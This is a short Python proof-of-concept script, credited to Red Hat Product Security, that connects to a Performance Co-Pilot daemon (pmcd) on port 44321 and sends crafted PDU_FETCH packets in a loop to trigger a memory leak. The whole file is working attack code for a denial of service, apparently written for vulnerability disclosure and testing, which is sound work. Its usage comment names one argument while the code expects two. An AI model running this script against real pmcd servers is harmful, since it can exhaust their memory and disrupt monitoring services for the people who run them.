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#
# usage: python leak-fetch HOST
#
# Connects to pmcd on HOST and sends a crafted PDU_FETCH packet which triggers a memory leak.
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
import pcppdu
_, host, count = sys.argv
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
pcppdu.client_handshake(sock, from_=1)
iterations = int(count)
for i in range(iterations):
    pcppdu.send_fetch(sock, from_=1, ctxnum=1, pmidlist=(1,) * 10000)
    pcppdu.read_pdu(sock)
sock.close()